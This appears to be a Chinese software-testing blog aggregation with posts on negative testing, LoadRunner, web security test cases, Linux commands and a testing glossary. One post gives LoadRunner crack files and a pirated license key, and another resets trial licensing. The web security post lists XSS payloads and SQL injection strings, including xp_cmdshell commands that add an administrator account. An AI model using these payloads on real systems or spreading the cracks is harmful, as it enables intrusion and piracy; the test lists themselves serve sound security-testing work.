发布新日志

  • 负面测试

    navy2008 发布于 2011-03-28 22:51:09

      负面测试(Negative testing)是相对于正面测试(Positive testing)而言的。它们也是测试设计时的两个非常重要的划分。简单点说,正面测试就是测试系统是否完成了它应该完成的工作;而负面测试就是测试系统是否不执行它不应该完成的操作。形象一点,正面测试就象一个毕恭毕敬的小学生,老师叫我做什么,我就做什么;而负面测试就象一个调皮捣蛋的孩子,你叫我这样做,我偏不这样做,而且和你对着干。开发人员也是最讨厌修改此类bug的。
            正面测试主要根据需求,功能说明书,设计文档等相关参考文档来执行测试,而负面测试则主要根据错误猜测,逆向思维来测试系统,一定程序上的的依赖测试人员的经验积累。
            执行负面测试时,不单单要测试系统是否处理了用户的异常操作,还要检查系统对于这些异常操作是否给予了正确的错误提示。它是系统对用户进行继续正确操作的指引。
            简言之负面测试的三部曲就是:
    1. 检查程序中的屏幕或页面是否给出了清晰且充分的提示或约束;
    2. 测试系统是否处理了用户的异常操作;
    3. 检查系统的错误提示是否清晰且充分。
     
            以下是Steve Miller的《Top 10 Negative Test Cases》,概括性的提到了一些做负面测试时经常需要注意的测试。
     
            负面测试用例被设计于用软件未意欲被使用的方式测试软件,它也应该是测试工作的一部分。以下就是在设计测试工作量时你应该考虑的10大负面测试用例。
            1.植入的单引号。大多数基于SQL数据库系统在用户存储包含一个单引号的信息时会出现问题,例如John's car。每一个可以接受文字数字型数据条目的屏幕都要试试输入包含一个或多个单引号的文本。
            【Kiki补充】其实不只是单引号,基本上测试人员应该测试所有的特殊字符和空/空格(单纯的空格和文本前后的空格)。单引号,逗号,/,<,>(对于web的应用程序)都是很容易引发错误的。在开发早期测试组就可以建议开发组写一个通用的函数来处理这些特殊字符,然后在处理用户的输入时套用这个函数就可以避免此类错误了。
     
            2.必需输入的数据条目。功能说明书上应该清楚的指出屏幕上必须输入数据条目的字段。测试屏幕上每一个被说明为必须输入的字段以保证它强制要求你在字段中输入数据。
            【Kiki补充】对于强制输入的字段,在屏幕上最好有些标识以说明其为必须输入的字段。一般在字段前或后用红色的*号表示。测试时必须要检查有标识的字段是否和功能说明书或其他参考文档一致,错误信息提示是否正确,强制输入的字段是否真的必须输入。
     
            3.字段类型测试。功能说明书上应该清楚的指出要求特定数据输入要求(日期字段,数字字段,电话号码,邮编等等)的字段。测试屏幕上每一个被指出有特定类型的字段以保证你输入了基于字段类型的符合正确格式的数据(数字型字段应该不允许字符或特殊字符,日期型的字段应该允许输入一个正确的日期等等)
            【Kiki补充】其实这里还有一个字段格式和字段内容的测试。有些字段对输入的格式有要求,这些字段的格式一般在屏幕上也有相应的提示。所以在测试时需要测试提示的格式是否合理(和功能说明书或其他参考文档相一致)以及系统是否正确识别输入的格式。有些字段对字段的内容有限制,如常见的用户名,不能包含特殊字符,首字不能未数字等要求。所以在测试时需要测试提示的格式是否合理(和功能说明书或其他参考文档相一致)还有不符合内容要求的数据输入时系统是否正确的处理。
     
            4.字段长度测试。功能说明书上应该清楚的指出可以在字段中输入的字符数(例如,first name必须是50个或更少的字符)。写测试用例以保证你只可以输入特定的字符数。防止用户输入比允许范围更多的字符比因用户已输入过多的字符而给出的错误信息更加的文雅些。
            【Kiki补充】一般对于限制长度的字段,现在开发大多采用限制输入的方法(设置字段的长度)来处理。所以测试时需要测试限制的长度是否合理(和功能说明书或其他参考文档相一致),对于没有限制长度的字段,要测试无穷输入时是否出错,有问题报bug时建议开发人员根据需要限制长度。
     
            5.数字型的边界测试。对于数字型的字段,测试上下边界是非常重要的。例如,如果你正在计算某个账户的利息时,你永远不会输入一个负的利息数给应该赢取利息的账户。因此,你应该尝试用负数测试。同样,如果功能说明书上要求字段在某一个特定的范围(如从10~50),你就应该尝试输入9或51,它应该给出一个得体的信息表示失败。
     
            6.数字的约束测试。大多数数据库系统和编程语言允许数字条目被识别为整数或长整数。通常,整数的范围是从-32,767~32,767,长整数的范围从-2,147,483,648~2,147,483,647。对于那些没有特定边界限制的数字数据条目,用这些限制测试以确保不会出现数字的溢出错误。
            【Kiki补充】小数型的数字字段同样也需要格外的测试。一般对于未指出数字类型的字段,尝试输入负整数,负小数,0,正整数,正小数进行测试。
            不管是哪种数据库系统,对于数字一般都有多种数字类型。所以测试人员一定要测试的全面。
     
            7.日期边界测试。对于日期型的字段,测试上下边界是很重要的。例如,如果你正在检查一个出生日期的字段,很大可能出生日期不能早于150年前。同样,出生日期应该不是将来的某一天。
            【Kiki补充】一般来说,每种数据库系统的日期都有个范围,如SQL Server最小日期是1753年1月1日,所以如果是输入型的日期字段同样也应该测试早于1753的日期。
     
            8。日期的有效性。对于日期字段,确保不允许无效的日期是很重要的(04/31/2007是一个无效的日期)。测试用例也应该检查闰年(每个第4年和第400年是一个闰年)。
     
            9。web会话测试。很多的web应用程序依赖浏览器的会话来追踪已登录的用户,应用程序的设置等等。应用程序的大多数屏幕不被设计为没有首次登录就可以被运行。应用程序应该确保在打开应用程序的某一页面之前会话里有一个有效的登录。
     
            10.性能的改变。当发布产品的最新版本时,应该有一套运行于识别屏幕(列出信息的屏幕,add/update/delete数据的屏幕等等)速度的性能测试。测试包里应该包括比较先前版本和现有版本性能统计值的测试用例。这个可以帮助识别那些可以证明是随着对现有版本的代码变更而引起的潜在的性能问题。
     
            【Kiki补充】从第一条到第八条是我们在测试字段时常常需要做的测试,一般的测试人员都不陌生。第九条在测试web应用程序中会作为检查应用程序的安全性而做的一项测试。而第十条估计很多公司都不会将它考虑到测试的范畴中,一般最多也就是在测试用例中添加校验某一个操作是否在系统允许的响应时间里,很少去做这样的比较,除了一些有针对性的性能测试。
  • 好东西:loadrunner 11(LR11) 下载链接及破解方法

    w_gq2003 发布于 2010-12-14 11:49:56

    LoadRunner 11下载:
    经本人亲自测试一下链接可以下载到LR11
    http://www.genilogix.com/downloads/loadrunner/loadrunner-11.iso
     
    LoadRunner 11破解:
    破解方法和以前版本相同,我用的是LR8.0的破解文件,同样实用。就是将LR8.0中的以下两个文件替换到LR11安装目录的bin目录下:C:\Program Files\HP\LoadRunner\bin 
    需要替换的两个文件名:lm70.dll   mlr5lprg.dll
     
    LoadRunner 11的license问题:
    提供一个超级license 最高支持6.5w个并发:AEACFSJI-YJKJKJJKEJIJD-BCLBR
    如果用的着的朋友请留言并将该贴顶起来,方便那些需要的朋友,如有转帖的朋友请注明出处,谢谢。
  • 解决“ license security violation.Operation is not allowed ”问题

    naotang 发布于 2008-04-30 15:54:54

    现象:
    最近在重装Loadrunner8.0时,报错,提示信息为:“license security violation.Operation is not allowed”。

    查资料了解,最终理解如下:
    出现这种情况,一般原因如下:
    之前安装过LoadRunner,在使用版10天过期之前,没有Update新的License,卸载后重新安装会出现这样的错误。即使有了正版的License去Update,也是出现这样的错误。

    解决方法:

    方法一:
    1、到Loadrunner 运行正常的机器里( 安装路径要和你的相同,最好系统也一样),导出以下两项的注册表:
    HKEY_CURRENT_USER\Software\Mercury Interactive
    HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive
    2、将这两个注册文件导到报错的机器里。
     
    方法二:
    可手动修改注册表,删除下面内容:
    [HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive\LoadRunner\License2]

    [HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive\LoadRunner\License2\History]
    "AIBGEBFW-JVED-ZKEKEKEKEKEBDNQAF-KBRDN"=""

    [HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive\LoadRunner\License2\PermanentLicense]
    @="AIBGEBFW-JVED-ZKEKEKEKEKEBDNQAF-KBRDN"
    "last"="AIBGEBFW-JVED-ZKEKEKEKEKEBDNQAF-KBRDN"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Mercury Interactive\LoadRunner\License2\TemporaryLicense]
    @="AEBGEBFS-AKEKEKEKE-KAUCA"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{87B3ADD4-21EB-11d5-93EF-00105AA0FD2D}]
    @="IControl"

  • WEB安全性测试测试用例(基础1)

    聂霞 发布于 2012-02-13 16:02:09

    WEB安全性测试测试用例(基础)一.doc
    2011-10-19 9:19

    建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、 注入、身份验证和授权错误.

    1.     输入验证

    客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)

    1.输入很大的数(如4,294,967,269),输入很小的数(负数)

    2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

    3.输入特殊字符,:~!@#$%^&*()_+<>:{}|

    4.输入中英文空格,输入字符串中间含空格,输入首尾空格

    5.输入特殊字符串NULL,null0x0d 0x0a

    6.输入正常字符串     

    7.输入与要求不同类型的字符,如要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值要求输入字母则检查输入数字

    8.输入htmljavascript代码

    9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

    例如:

    1.输入<html”>”gfhd</html>,看是否出错

    2.输入<input type=text name=user/>,看是否出现文本框

    3.输入<script. type=text/javascript>alert(提示)</script>看是否出现提示

     

    关于上传:

    1.上传文件是否有格式限制,是否可以上传exe文件;

    2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;

    3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;

    4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

    5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。

    6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

    7.对于文件名中带有中文字符,特殊字符等的文件上传。

    下载:

    避免输入:/../web.修改命名后缀。

     

    关于URL

    1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;

    2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;

    3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。

    4.输入善意字符。

     

    UBB:

     

    [url=http://www.****.com] 你的网站[/url]

    1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

    2.UBB代码中加入属性,如样式,事件等属性,看是否起作用

    3.输入编辑器中不存在的UBB代码,看是否起作用

     

    [url=javascript.:alert('hello')]链接[/url]

    [email=javascript.:alert('hello')]EMail[/email]

    [email=yangtao@rising.com.cn STYLE="background-image: url(javascript.:alert('XSS'))"]yangtao@rising.com.cn[/email]

     

    [img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript.:alert('alert(xss)'))"[/img]

    [img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]

     

    [b STYLE="background-image: url(javascript.:alert('XSS'))"]一首诗酸涩涩服务网[/b]

    [i STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/i]

     

    [u]一二三四五六七北京市[/u]

    [font=微软雅黑" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/font]

    [size=4" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/size]

    [color=Red" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/color]

    [align=center" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/align]

    [float=left" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/float]

    [font=微软雅黑 STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/font]

    [size=4 STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/size]

    [color=Red STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/color]

    [align=center STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/align]

    [list=1]

    [*]一二三四五六七北京市[/list]

    [indent]一二三四五六七北京市[/indent]

    [float=left STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/float]

    [media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

     

    2.     输出编码

    常用的测试输入语句有:

    <input type="text"/>

    <input/>

    <input/  

    <script>alert('hello');</script>

    1.jpg" nmouseover="alert('xss')

    "></a><script>alert(xss);</script>

    http://xxx';alert('xss');var/ a='a

    ‘”>xss&< 

    a=”/” ; b=”;alert(/xss/);//”

    <img src=输出内容 border=0 alt=logo />

    “’”

    ‘”’

    “””

      

    “”“

    “‘ 

    title=””

    对输出数据到输出数据的对比,看是否出现问题。

     

     

    3.     防止SQL注入

    Admin--

    or -------

      and  (   )   exec   insert   *   %   chr   mid   

    and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)   %20AND%201=2

    ‘and 1=1    ;  ‘And  1=1   ;   ‘aNd   1=1   ;

    and 1=2    ;   ‘and 1=2

    and 2=2

    and user>0

    and (select count(*) from sysobjects)>0

    and (select count(*) from msysobjects)>0

    and (Select Count(*) from Admin)>=0

    and (select top 1 len(username) from Admin)>0(username 已知字段)

    ;exec master..xp_cmdshell “net user name password /add”—

    ;exec master..xp_cmdshell “net localgroup name administrators /add”—

    and 0<>(select count(*) from admin)

    简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户,可以用where name=nchar(29992)+nchar(25143)代替。

     

     

    http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

  • 常用Linux命令总结

    liminmin5_29 发布于 2008-09-11 12:23:26

    Linux的发展前景非常不错,我们应该了解一下常用的Linux命令!

    1.   Linux下使用光驱的命令:
              mount   /dev/cdrom    /mnt

              umount   /dev/cdrom

    2.   Linux的shell版本有哪几种?

              BASH:是GNU操作系统上默认的shell

              C Shell:是SUN公司Shell的BSD版本

              Bourne Shell:是贝尔实验室开发的

              Korn Shell:是对Bourne Shell的发展,在大部分内容上与Bourne Shell兼容。

    3.    在/etc/inittab文件中,runlevel=3代表文本界面,runlevel=5代表图形界面。

    4.    从文本方式用StartX命令可以启动图形界面. 退出图形界面直接到文本界面使用Ctrl + Alt +Backspace组合键.

    5.    文本方式重新启动linux使用reboot或shutdown  -r  <time>命令.

    6.    Shutdown –r now  和 shutdown –h now两个命令的区别是Shutdown –r now 现在立刻重启,shutdown –h now现在立刻关机。

    7.    文本方式下,关机的命令有halt和shutdown  -h  <time>两种.

    8.    Vi文件不保存退出的命令是:q , 保存并退出的命令是:wq
          Vi删除一行文字使用dd命令. Vi 删除一个字符使用x命令.

    9.    列出当前目录下的内容使用ls  -l命令.
          改变工作目录使用cd命令.
          显示当前工作目录的绝对路径使用 pwd命令.
          创建目录mkdir, 删除空目录使用rmdir

    10.    复制文件是cp命令.
           移动某个文件是mv命令.
           删除某个文件是rm命令.

    11.    修改文件或者目录的权限是使用chmod命令.
           修改文件的属主的命令是 chown. 
           修改文件的组信息的命令是chgrp.

    12.    _r_xrw_r_ _   file  对于这个文件的属主具有读、执行权限,同组用户具有读、写权限,其他用户具有读权限。
           drwxr_ _ r_x   /home/bak  对于这个目录,他的属主具有读、写、执行权限,同组用户具有读权限,其他用户具有读、执行权限。  

    13.    Ln –s  源文件 链接后文件   是硬链接还是软链接?是软链接

    14.    查找文件的命令是find

           清除屏幕上信息的命令是clear

           显示和设置系统日期和时间的命令是date

    15.    对文件内容进行查询的命令是Grep

    16.    Linux下用户的信息放在哪个文件中进行管理?/usr

    17.    增加用户的命令是useradd

           删除用户的命令是userdel

           修改用户口令的命令是 passwd

    18.    增加用户组的命令是groupadd

           删除用户组的命令是groupdel

    19.    查看进程的命令是Ps
           ps  -ef  //显示当前系统中运行的进程
           查看进程动态信息的命令是top

    20.    强行杀死指定进程的命令是kill  -9

    21.    查看文件系统的磁盘占用空间的命令是df
           统计目录或者文件所占磁盘空间的大小的命令是du

    22.    查看和设置网络配置的命令是ifconfig

    23.    Linux下查看路由信息的命令是route

    24.    怎样将一个文件或目录打包成一个tar文件?

            tar   cvf   test.tar    /home/test     把home下test目录打成tar包

           怎样将一个tar包解开?

            tar   xvf    test.tar       把test.tar 解包

    25.    怎样对一个文件或者目录进行压缩?

            gzip   test.tar    把test.tar文件进行压缩

    26.    怎样对一个压缩文件进行解压缩?

           gzip   –d   test.tar.gz      把test.tar.gz压缩包解压缩

    27.    Linux下安装一个rpm软件包使用什么命令?

           rpm  -ivh  *.rpm   安装该包

           Linux下卸载一个rpm软件包使用什么命令?

           rpm  -e   *     卸载该包注意:没有.rpm

    28.    Linux下不同的用户进行切换使用  su命令.

    29.    查看当前的用户所属的组信息使用id命令.

    下面是从网络上找的,作为Linux学习的补充篇:

    1 、单用户模式进系统

        启动linux 出现grub画面时选中linux 按e 键

        kernel /boot/vmlinuz-2.4.18-14 ro root=LABEL=/按E 键

        在ro前面加入single

        kernel /boot/vmlinuz-2.4.18-14 single ro root=LABEL=/

        回车,按B 键进入系统。

        注意:freebsd 下再多加一个命令 mount -a

    2 、解压文件

        tar.bz 2文件的解压 #tar jxvf *.tar.bz 2

        tar.gz文件的解压 #tar xzpf *.tar.gz

        rpm 文件的解压 #rpm -ivh *.rpm

    3 、激活ssh 服务

        /etc/rc.d/init.d/sshd start

        service sshd start

        ubuntu开启ssh 服务

        studo apt-get install ssh

        $sudo passwd root

    4 、关闭防火墙

        /etc/rc.d/init.d/iptables stop

        Linux 防火墙的关闭和开启

        1 )重启后生效

        开启: chkconfig iptables on

        关闭: chkconfig iptables off

        2 )即时生效,重启后失效

        开启: service iptables start

        关闭: service iptables stop

        需要说明的是对于Linux 下的其它服务都可以用以上命令执行开启和关闭操作。

        在开启了防火墙时,做如下设置,开启相关端口,

        修改/etc/sysconfig/iptables 文件,添加以下内容:

        -A RH-Firewall-1-INPUT -m state ——state NEW -m tcp -p tcp ——dport80 -j ACCEPT

        -A RH-Firewall-1-INPUT -m state ——state NEW -m tcp -p tcp ——dport22 -j ACCEPT

    5 、查看开放的服务 netstat–tl

        启动自动加载的服务 ntsys v

    6 、设置网卡IP netconfig

        查看网卡IP ifconfig

        或者进入 /etc/sysconfig/network-scrips/ 目录下

        cat ifcfg-eth0

        FreeBSD 中修改网络配置: #ee /etc/rc.conf

        FC4 的网卡IP修改 #vi /etc/sysconfig/network-scrīpts/ifcfg-eth0

        己编译的网卡驱动的安装

        #tar–zxvf e1000-6.0.54.tar.gz

        #cd e1000-6.0.54/src

        Make install

        Inwmod e1000

        #/etc/rc.d/init.d/network reload

        #reboot

        修改/etc/modules.conf 加一行

        Alias eth0 e1000

    7 、重起网卡 service network restart

        查看进程: ps aux

    8 、禁用图形界面 #vi inittab

        将ID后面的 5改为3 就可以了

    9 、加载光驱软驱 mount /mut/cdrom

        Mount /mut/floppy

        先用pwd 查看所在目录是否为挂载点,如果是,则无法挂载

        如果要卸载则 M mount /mnt/cdrom

        M mount /mnt/floppy

    10、打开redhat自带的ftp 工具

        # /sbin/service vsftpd start

        查看安装ftp 的版本及安装情况

        # rpm –qa | grep vsftpd

        看谁登陆了FTP ,并杀死它的进程

        Ps–xf | grep ftp 如ps–aux|grep运行程序

        Kill进程号如 kill -9进程号

        新建一个文件如“ # touch /etc/vsftpd.chroot_list

        卸载: rpm–e packge name

        安装 rpm–ivh *.rpm

        卸载mysql 依次加上- -nodeps.- - (注意为了显示故中间有空隔)force它们相互依赖,不加无法卸载

        Rpm –e mysql –client - -nodeps(- -force加上这个参数不行就不加)

        Rem –e mysql

        redhat卸载自带的mysql

        #rpm–e perl–DBD –mySQL -2.1021-3 - -lodeps

        #rpm–e mysql

    11、使用mkswap命令建立swap分区再使用swapon命令启用swap分区

        #mkswap /dev/sad7

        #swapon /dev/sad7

    12、改名命令 # mv

        删除文件 #rm

        删除文件夹 #rm–rf

    13、linux 做禁ping

        # vi /proc/sys/net/ip/ipv4/icmp_echo_ignore_all

        将其值改为1 为禁ping改为0 为解禁ping

  • 测试专业名词

    qiuteng258 发布于 2010-11-23 08:57:12

    Acceptance Testing--可接受性测试
    一般由用户/客户进行的确认是否可以接受一个产品的验证性测试。
    actual outcome--实际结果
    被测对象在特定的条件下实际产生的结果。
    Ad Hoc Testing--随机测试
    测试人员通过随机的尝试系统的功能,试图使系统中断。
    algorithm--算法
    (1)一个定义好的有限规则集,用于在有限步骤内解决一个问题;(2)执行一个特定任务的任何操作序列。
    algorithm analysis--算法分析
    一个软件的验证确认任务,用于保证选择的算法是正确的、合适的和稳定的,并且满足所有精确性、规模和时间方面的要求。
    Alpha Testing--Alpha测试
    由选定的用户进行的产品早期性测试。这个测试一般在可控制的环境下进行的。
    analysis--分析
    (1)分解到一些原子部分或基本原则,以便确定整体的特性;(2)一个推理的过程,显示一个特定的结果是假设前提的结果;(3)一个问题的方法研究,并且问题被分解为一些小的相关单元作进一步详细研究。
    anomaly--异常
    在文档或软件操作中观察到的任何与期望违背的结果。
    application software--应用软件
    满足特定需要的软件。
    architecture--构架
    一个系统或组件的组织结构。
    ASQ--自动化软件质量(Automated Software Quality)
    使用软件工具来提高软件的质量。
    assertion--断言
    指定一个程序必须已经存在的状态的一个逻辑表达式,或者一组程序变量在程序执行期间的某个点上必须满足的条件。
    assertion checking--断言检查
    用户在程序中嵌入的断言的检查。
    audit--审计
    一个或一组工作产品的独立检查以评价与规格、标准、契约或其它准则的符合程度。
    audit trail--审计跟踪
    系统审计活动的一个时间记录。
    Automated Testing--自动化测试
    使用自动化测试工具来进行测试,这类测试一般不需要人干预,通常在GUI、性能等测试中用得较多。
    Backus-Naur Form--BNF范式
    一种分析语言,用于形式化描述语言的语法
    baseline--基线
    一个已经被正式评审和批准的规格或产品,它作为进一步开发的一个基础,并且必须通过正式的变更流程来变更。
    Basic Block--基本块
    一个或多个顺序的可执行语句块,不包含任何分支语句。
    basis test set--基本测试集
    根据代码逻辑引出来的一个测试用例集合,它保证能获得100%的分支覆盖。
    behaviour--行为
    对于一个系统的一个函数的输入和预置条件组合以及需要的反应。一个函数的所有规格包含一个或多个行为。
    benchmark--标杆/指标/基准
    一个标准,根据该标准可以进行度量或比较。
    Beta Testing--Beta测试
    在客户场地,由客户进行的对产品预发布版本的测试。这个测试一般是不可控的
    big-bang testing--大锤测试/一次性集成测试
    非渐增式集成测试的一种策略,测试的时候把所有系统的组件一次性组合成系统进行测试。
    Black Box Testing--黑盒测试
    根据软件的规格对软件进行的测试,这类测试不考虑软件内部的运作原理,因此软件对用户来说就像一个黑盒子。
    bottom-up testing--由低向上测试
    渐增式集成测试的一种,其策略是先测试底层的组件,然后逐步加入较高层次的组件进行测试,直到系统所有组件都加入到系统。
    boundary value--边界值
    一个输入或输出值,它处在等价类的边界上。
    boundary value coverage--边界值覆盖
    通过测试用例,测试组件等价类的所有边界值。
    boundary value testing--边界值测试
    通过边界值分析方法来生成测试用例的一种测试策略。
    Boundry Value Analysis--边界值分析
    该分析一般与等价类一起使用。经验认为软件的错误经常在输入的边界上产生,因此边界值分析就是分析软件输入边界的一种方法
    branch--分支
    在组件中,控制从任何语句到其它任何非直接后续语句的一个条件转换,或者是一个无条件转换。
    branch condition--分支条件
    branch condition combination coverage--分支条件组合覆盖
    在每个判定中所有分支条件结果组合被测试用例覆盖到的百分比。
    branch condition combination testing--分支条件组合测试
    通过执行分支条件结果组合来设计测试用例的一种方法。
    branch condition coverage--分支条件覆盖
    每个判定中分支条件结果被测试用例覆盖到的百分比。
    branch condition testing--分支条件测试
    通过执行分支条件结果来设计测试用例的一种方法。
    branch coverage--分支覆盖
    通过测试执行到的分支的百分比。
    branch outcome--分支结果
    见判定结果(decision outcome)
    branch point--分支点
    见判定(decision)
    branch testing--分支测试
    通过执行分支结果来设计测试用例的一种方法。
    Breadth Testing--广度测试
    在测试中测试一个产品的所有功能,但是不测试更细节的特性。
    bug--缺陷
    capture/playback tool--捕获/回放工具
    参考capture/replay tool
    Capture/Replay Tool--捕获/回放工具
    一种测试工具,能够捕获在测试过程中传递给软件的输入,并且能够在以后的时间中,重复这个执行的过程。这类工具一般在GUI测试中用的较多。
    CASE--计算机辅助软件工程(computer aided software engineering)
    用于支持软件开发的一个自动化系统。
    CAST--计算机辅助测试
    在测试过程中使用计算机软件工具进行辅助的测试。
    cause-effect graph--因果图
    一个图形,用来表示输入(原因)与结果之间的关系,可以被用来设计测试用例
    certification --证明
    一个过程,用于确定一个系统或组件与特定的需求相一致。
    change control--变更控制
    一个用于计算机系统或系统数据修改的过程,该过程是质量保证程序的一个关键子集,需要被明确的描述。
    code audit --代码审计
    由一个人、组或工具对源代码进行的一个独立的评审,以验证其与设计规格、程序标准的一致性。正确性和有效性也会被评价。
    Code Coverage--代码覆盖率
    一种分析方法,用于确定在一个测试套执行后,软件的哪些部分被执行到了,哪些部分没有被执行到。
    Code Inspection--代码检视
    一个正式的同行评审手段,在该评审中,作者的同行根据检查表对程序的逻辑进行提问,并检查其与编码规范的一致性。
    Code Walkthrough--代码走读
    一个非正式的同行评审手段,在该评审中,代码被使用一些简单的测试用例进行人工执行,程序变量的状态被手工分析,以分析程序的逻辑和假设。
    code-based testing--基于代码的测试
    根据从实现中引出的目标设计测试用例。
    coding standards--编程规范
    一些编程方面需要遵循的标准,包括命名方式、排版格式等内容。
    Compatibility Testing--兼容性测试
    测试软件是否和系统的其它与之交互的元素之间兼容,如:浏览器、操作系统、硬件等。
    complete path testing --完全路径测试
    参考穷尽测试(exhaustive testing)
    completeness--完整性
    实体的所有必须部分必须被包含的属性。
    complexity --复杂性
    系统或组件难于理解或验证的程度。
    Component--组件
    一个最小的软件单元,有着独立的规格
    Component Testing--组件测试
    参考单元测试
    computation data use--计算数据使用
    一个不在条件中的数据使用。
    computer system security--计算机系统安全性
    计算机软件和硬件对偶然的或故意的访问、使用、修改或破坏的一种保护机制。
    condition--条件
    一个不包含布尔操作的布尔表达式,例如:A
    condition coverage--条件覆盖
    通过测试执行到的条件的百分比。
    condition outcome--条件结果
    条件为真为假的评价。
    configuration control--配置控制
    配置管理的一个方面,包括评价、协调、批准、和实现配置项的变更。
    configuration management--配置管理
    一套技术和管理方面的原则用于确定和文档化一个配置项的功能和物理属性、控制对这些属性的变更、记录和报告变更处理和实现的状态、以及验证与指定需求的一致性。
    conformance criterion-- 一致性标准
    判断组件在一个特定输入值上的行为是否符合规格的一种方法。
    Conformance Testing-- 一致性测试
    测试一个系统的实现是否和其基于的规格相一致的测试。
    consistency -- 一致性
    在系统或组件的各组成部分和文档之间没有矛盾,一致的程度。
    consistency checker-- 一致性检查器
    一个软件工具,用于测试设计规格中需求的一致性和完整性。
    control flow--控制流
    程序执行中所有可能的事件顺序的一个抽象表示。
    control flow graph--控制流图
    通过一个组件的可能替换控制流路径的一个图形表示。
    conversion testing--转换测试
    用于测试已有系统的数据是否能够转换到替代系统上的一种测试。
    corrective maintenance--故障检修
    用于纠正硬件或软件中故障的维护。
    correctness--正确性
    软件遵从其规格的程度。
    correctness--正确性
    软件在其规格、设计和编码中没有故障的程度。软件、文档和其它项满足需求的程度。软件、文档和其它项满足用户明显的和隐含的需求的程度。
    coverage--覆盖率
    用于确定测试所执行到的覆盖项的百分比。
    coverage item--覆盖项
    作为测试基础的一个入口或属性:如语句、分支、条件等。
    crash--崩溃
    计算机系统或组件突然并完全的丧失功能。
    criticality--关键性
    需求、模块、错误、故障、失效或其它项对一个系统的操作或开发影响的程度。
    criticality analysis--关键性分析
    需求的一种分析,它根据需求的风险情况给每个需求项分配一个关键级别。
    cyclomatic complexity--循环复杂度
    一个程序中独立路径的数量。
    data corruption--数据污染
    违背数据一致性的情况。
    data definition--数据定义
    一个可执行语句,在该语句上一个变量被赋予了一个值。
    data definition C-use coverage--数据定义C-use覆盖
    在组件中被测试执行到的数据定义C-use使用对的百分比。
    data definition C-use pair--数据定义C-use使用对
    一个数据定义和一个计算数据使用,数据使用的值是数据定义的值。
    data definition P-use coverage--数据定义P-use覆盖
    在组件中被测试执行到的数据定义P-use使用对的百分比。
    data definition P-use pair--数据定义P-use使用对
    一个数据定义和一个条件数据使用,数据使用的值是数据定义的值。
    data definition-use coverage--数据定义使用覆盖
    在组件中被测试执行到的数据定义使用对的百分比。
    data definition-use pair --数据定义使用对
    一个数据定义和一个数据使用,数据使用的值是数据定义的值。
    data definition-use testing--数据定义使用测试
    以执行数据定义使用对为目标进行测试用例设计的一种技术。
    data dictionary--数据字典
    (1)一个软件系统中使用的所有数据项名称,以及这些项相关属性的集合。(2)数据流、数据元素、文件、数据基础、和相关处理的一个集合。
    data flow analysis--数据流分析
    一个软件验证和确认过程,用于保证输入和输出数据和它们的格式是被适当定义的,并且数据流是正确的。
    data flow coverage--数据流覆盖
    测试覆盖率的度量是根据变量在代码中的使用情况。
    data flow diagram--数据流图
    把数据源、数据接受、数据存储和数据处理作为节点描述的一个图形,数据之间的逻辑体现为节点之间的边。
    data flow testing--数据流测试
    根据代码中变量的使用情况进行的测试。
    data integrity--数据完整性
    一个数据集合完全、正确和一致的程度。
    data use--数据使用
    一个可执行的语句,在该语句中,变量的值被访问。
    data validation--数据确认
    用于确认数据不正确、不完整和不合理的过程。
    dead code--死代码
    在程序操作过程中永远不可能被执行到的代码。
    Debugging--调试
    发现和去除软件失效根源的过程。
    decision--判定
    一个程序控制点,在该控制点上,控制流有两个或多个可替换路由。
    Decision condition--判定条件
    判定内的一个条件。
    decision coverage--判定覆盖
    在组件中被测试执行到的判定结果的百分比。
    decision outcome--判定结果
    一个判定的结果,决定控制流走哪条路径。
    decision table--判定表
    一个表格,用于显示条件和条件导致动作的集合。
    Depth Testing--深度测试
    执行一个产品的一个特性的所有细节,但不测试所有特性。比较广度测试。
    design of experiments--实验设计
